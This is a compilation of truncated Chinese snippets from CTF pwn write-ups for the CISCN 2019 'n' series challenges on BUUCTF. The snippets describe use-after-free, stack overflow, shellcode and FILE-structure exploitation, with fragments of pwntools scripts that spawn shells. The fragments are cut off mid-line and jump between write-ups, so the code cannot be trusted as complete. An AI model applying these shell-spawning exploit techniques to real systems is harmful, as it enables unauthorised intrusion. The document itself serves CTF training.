利用chunk 1 的 string 对应的 chunk 进行 use after free 将 /bin/sh 写入 chunk 1 的 string chunk 中。 触发del 函数中的 free(*(ptr + 2)),即执行 system('/bin/sh') exp 脚本 frompwn_debugimport* pdbg = pwn_debug('ciscn_2019_n_3') pdbg.debug('2.27') p=pdbg.run('debug') elf...
payload='bash'+p32(system) add(3,2,12,payload) delete(1) p.interactive() 重点: 可以使用system('bash')来调用shell 无了,就这样吧
去掉要转化为负数的-1\x00\x00,只剩12个字节可以操作。如果直接rop,由于read有3个参数,所以至少需要0x14的大小,很显然这里不够。所以只能利用程序中的call read这样的汇编执令来缩小rop...
log_level = "debug" io = remote("node3.buuoj.cn", 26814) libc = ELF("./libc.so.6") def add(size,message): io.sendlineafter("Input your choice:",'1') io.sendlineafter("Please input the size of story: \n",str(size)) io.sendlineafter("please inpute the story: \n",message...
sendlineafter(x,y) io=remote('node3.buuoj.cn',25188) #io=process('./ciscn_2019_n_5') elf=ELF('./ciscn_2019_n_5') ra() sl(asm(shellcraft.sh())) ra() sl('a'*40+p64(0x601080)) io.interactive() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22...
ciscn_2019_n_7 解题思路 利用溢出修改指针的洞,将指针修改到stdout结构体上方,修改flag为0xfbad1800,然后修改IO_write_base为__environ地址,IO_write_ptr为__environ + 8地址,泄露栈地址 劫持__libc_start_main栈帧的retaddr,使用rop执行system("/bin/sh") ...
\n>',b'2') p.sendlineafter(b'short int\n>',str(choice)) def show(choice): p.sendlineafter(b'and?\n>',b'3') p.sendlineafter(b'short int\n>',str(choice)) def seeyou(content): p.sendlineafter(b'and?\n>',b'4') p.sendlineafter(b'say at last? ',content) add(1,0x666...
ciscn_2019_n_1 例行检查,64bit,NX保护开启 运行一下,没有信息 64位IDA打开,看到了cat flag ,跟进瞧瞧 函数显示 ,当v2等于11.28125时,得到flag,但要求 我们输入的是v1,所以我们只有把v1和v2 之间全部填满之后紧接着写入11.28125即可。 我们可以看到这两个之间的大小为0x2C 再将11.28125转换为内存中的16进制...
elf = ELF('ciscn_2019_n_3') def newnote(idx,type,value,length=0): p.recvuntil('CNote > ') p.sendline(str(1)) p.recvuntil('Index > ') p.sendline(str(idx)) p.recvuntil('Type > ') p.sendline(str(type)) if type == 1: ...
buu ciscn_2019_n_1 1 栈溢出 预先步骤 检查文件格式(64位elf)checksec 没有任何保护chmod 777 file 开启可执行权限 IDA(64) 编写exp from pwn importp = remote("ip address",port)payload = 'A'44 + p64(0x41348000)p.senline(payload)p.interactive() ...